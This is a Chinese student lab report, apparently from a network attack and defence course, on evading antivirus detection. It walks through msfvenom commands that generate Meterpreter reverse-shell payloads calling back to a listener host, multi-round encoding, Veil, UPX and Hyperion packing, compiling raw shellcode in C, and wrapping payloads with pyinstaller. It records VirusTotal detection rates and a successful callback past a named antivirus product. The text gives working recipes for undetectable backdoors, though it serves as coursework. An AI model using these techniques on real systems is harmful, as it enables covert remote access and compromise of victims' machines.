zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术 20175217 Exp3 免杀原理与实践

    一、实验目标

    • 理解免杀的原理
    • 掌握并实践免杀的各种方法

    二、实验内容

    任务一:

    • 正确使用msf编码器
    • msfvenom生成如jar之类的其他文件
    • veil
    • 加壳工具
    • 使用C + shellcode编程

    任务二:

    • 通过组合应用各种技术实现恶意代码免杀

    任务三:

    • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    三、基础知识

    免杀概念

    • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术

    免杀要求

    • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验

    免杀反制

    • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础

    免杀效果

    • 利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

    四、基础问题回答

    杀软是如何检测出恶意代码的?

    • 基于特征码的检测

      • 一段特征码就相当于一段或多段数据,如果一个可执行文件含有这样的数据则被认为是恶意代码
      • 过时的特征码库就是没有用的库,所以杀毒软件的更新很重要,杀软要尽量搜集最全的、最新的特征码库
    • 启发式恶意软件检测

      • 就是根据些片面特征(如行为)去推断,通常是因为缺乏精确判定依据
      • 优点:可以检测0-day恶意软件、具有一定通用性
      • 缺点:实时监控系统行为,开销稍多、没有基于特征码的精确度高
    • 基于行为的恶意软件检测

      • 相当于是启发式的一种,或者是加入了行为监控的启发式

    免杀是做什么?

    • 是对恶意软件做处理,让它不被杀毒软件所检测
    • 在渗透测试中也有应用

    免杀的基本方法有哪些?

    改变特征码

    • 加壳(压缩壳 加密壳)——如果只有exe
    • 用encode进行编码——有shellcode(像Meterpreter)
    • 基于payload重新编译生成可执行文件——有shellcode
    • 用其他语言进行重写再编译(veil-evasion)——有源代码

    改变行为

    • 通讯方式

      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式

      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

    非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中
    • 利用Metasploit已有的payload来半手工的打造一个恶意软件
    • 纯手工打造一个恶意软件(效果最好)
    • 使用社工类攻击,诱骗目标关闭AV软件

    开启杀软能绝对防止电脑中恶意代码吗?

    • 不能,本次实验即可证明,杀毒软件也会有缺陷,是不可能绝对防止电脑中的恶意代码的

    五、实验任务

    任务一:基本方法免杀

    1.正确使用msf编码器
    直接生成

    • 使用实验二中的方法,使用MSF,生成exe文件

    • 使用VirusTotal、virscan网站进行扫描

    • 由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行编码

    一次编码

    • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_1.exe
    • -e:选择编码器
    • -b:去除字符(在本命令中为了使'x00'不出现在shellcode中,因为shellcode以'x00'为结束符)

    • 使用VirusTotal、virscan网站进行扫描,结果与之前无编码基本一致,VirusTotal上57/72、virscan上24/49

    十次编码

    • 命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b 'x00' LHOST=192.168.0.107 LPORT=5217 -f exe > 5217_2.exe
    • -i:设置迭代次数

    • 使用VirusTotal、virscan网站进行扫描,效果与之前无编码也不大,甚至更菜了,VirusTotal上57/72、virscan上26/49

    • 由此可见多次编码对免杀没有太大的效果,原因可能如下:

      • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差
      • msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe

    2.msfvenom生成如jar之类的其他文件
    生成jar文件

    • 使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_jar.jar生成jar文件

    • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成exe文件效果好,VirusTotal上35/60、virscan上15/49

    生成python文件

    • 使用命令:msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.228.128 lport=5217 x> wyf_python.py生成py文件

    • 使用VirusTotal、virscan网站进行扫描,发现效果比之前直接生成jar文件效果又好一些,效果很好,VirusTotal上25/59、virscan上3/49

    • 尝试一下回连

    • 回连成功,注意这里回连时playload要选python

    生成php文件

    • 使用命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.228.128 LPORT=5217 x> wyf_php.php生成php文件

    • 使用VirusTotal网站进行扫描,发现效果比生成的py文件效果又有了显著提升,效果非常好,绝大部分杀软基本无法将其检测出来,VirusTotal上3/58、virscan上1/49

    原因分析

    • 可能是杀软缺乏对python、php代码,尤其是php代码的检测能力
    • 但py、php文件运行起来比较麻烦,所以实操可能效果还是没那么好

    3.veil
    安装veil

    • sudo apt-get install veil-evasion命令安装veil

    • 安装完成后输入veil运行,然后选择y进一步安装软件

    • 出现绿色的指令界面表示安装成功

    生成python文件

    • 输入use evasion命令进入Evil-Evasion界面

    • 输入list查看可用的playload

    • 选择一个可用的playload,输入use 编号,如这里选择使用python语言的python/meterpreter/rev_tc,就输入use 28

    • 设置反弹连接LHOST:set LHOST 192.168.228.128、端口LPOST:set LPORT 5217,最后输入options查看确认

    • 输入generate生成文件,接着输入你想要playload的名字

    • 查看保存路径,并将文件保存在win主机里

    • 使用VirusTotal、virscan网站进行扫描,发现效果非常好,VirusTotal上3/59、virscan上1/49

    • 尝试一下回连

    生成ruby文件

    • 方法和之前一样,又试了ruby,效果还算可以

    4.加壳

    基本知识

    • 加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行

    • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)

    • 压缩壳

      • 减少应用体积,如ASPack,UPX
    • 加密壳

      • 版权保护,反跟踪。如ASProtect,Armadillo
    • 虚拟机

      • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect,Themida

    压缩壳UPX

    • 对刚刚的5217_2.exe用UPX加壳,输入:upx 5217_2.exe -o upx_5217_2.exe,生成UPX_5217_2.exe

    • 对该加壳软件进行检测,发现效果有所改观,但效果不明显,还是很容易被检测出来

    加密壳Hyperion

    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中

    进入目录/usr/share/windows-binaries/hyperion/

    输入命令wine hyperion.exe -v upx_5217_2.exe hyperion_upx_5217_2.exe进行加壳

    • 效果又有了一些改善,但整体效果还是不太好

    加壳小结

    • 总的来说,使用加壳软件,虽然可能改善一些效果,但似乎并不能得到很好地免杀效果
    • 这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性

    5.使用C + shellcode编程

    • 首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=5217 -f c用c语言生成一段shellcode;

    • 创建一个文件wyf_lx25t.c,然后将unsigned char buf[]赋值到其中

    • 使用命令:i686-w64-mingw32-g++ wyf_lx25t.c -o wyf_lx25t.exe编译这个.c文件为可执行文件

    • 尝试一下回连

    • 检测结果如下,效果不算很好

    基本方法整体测试

    • 最后,见证奇迹的时刻,打开杀软,发现使用veil生成的、和其他语言的文件都不会被杀软查杀,但除此之外的软件都被杀掉了

    基本方法免杀小结

    • 经过上述的实践,总体来说,发现基本的免杀方法整体效果不太好,但是也不乏一些比较好的方式,需要多次的尝试和验证才能探索出来
    • 原因主要基本的方法含有许多明显的特征信息,这些信息早已被现有的杀软收录,所以就很容易被查出来,而一些特殊的语言或编译方式杀软可能并没有来得及收录,所以也会有一些好的效果

    任务二:通过组合应用各种技术实现恶意代码免杀

    组合1——shellcode+强转

    • 同任务一的方法使用C + shellcode编程,并尝试强转数组类型

    • 成功

    • 然而,半天之后,它也没撑住,看来杀软杀毒真的是玄学

    • 但总体来说,如果要过很久才被查出来的话,它可能还是有点用的

    组合2——shellcodeWrapper加工+pyinstaller打包(使用课堂未介绍的方法)

    • 于是我又试了一种比较麻烦的方法
    • 用msf生成raw文件

    • 用shellcodeWrapper生成py后门文件

    • 使用pyinstaller将该python文件转为exe文件

    • 成功

    任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    实测:使用的是自己的win10虚拟机

    杀软名称:360安全卫士
    版本:12.0.0.2002

    六、遇到的问题和解决

    问题一:安装veil时总是报错

    解决一:按照同学的说法,多装了几次,装了好久,终于装上了(就是多装几次就好了...

    问题二:无法安装pyinstaller

    解决二:找了各种方法各种博客,还是没解决,后来自己安了个win10虚拟机,在虚拟机里安成功了,但问题到底出在哪还是不清楚

    问题三:kali的设置打不开了,它一直转圈圈

    尚未解决

    七、实验心得体会

           这次实验做的是免杀,刚开始觉得没什么难的,但真正做起来就明显感觉到,想要做到免杀还是很难的,如果想要效果好,就要精通一些软件的使用、代码的编写等,也要真正深入地理解免杀的原理。
           这次实验我觉得还是很难的,是参考老师的实验指导、课代表的博客和学长学姐的博客完成的,在过程中遇到的问题,也和同学们交流讨论,很多问题虽然很烦,但跟同学一讨论就感觉没有那么自闭了。
           这次实验虽然使我对免杀有了一定的理解,但是还是没有办法很好地做到免杀,在今后的学习过程中我也会更加努力、做的更好。

    八、参考链接

  • 相关阅读:
    运行top时,会报unknown terminal type错误
    CSS 学习笔记
    HTML学习笔记
    在window平台搭建Qt开发环境(使用VS2008 IDE)
    GNU的ar,ranlib和nm
    GifCam
    linux modprobe命令参数及用法详解--linux加载模块命令
    如何制作gif动画,丰富自己的博客?
    来自 Github 的图形化 Git 使用教程
    idea创建maven-archetype-webapp项目无java目录
  • 原文地址:https://www.cnblogs.com/wyf20175217/p/12553799.html
Copyright © 2011-2022 走看看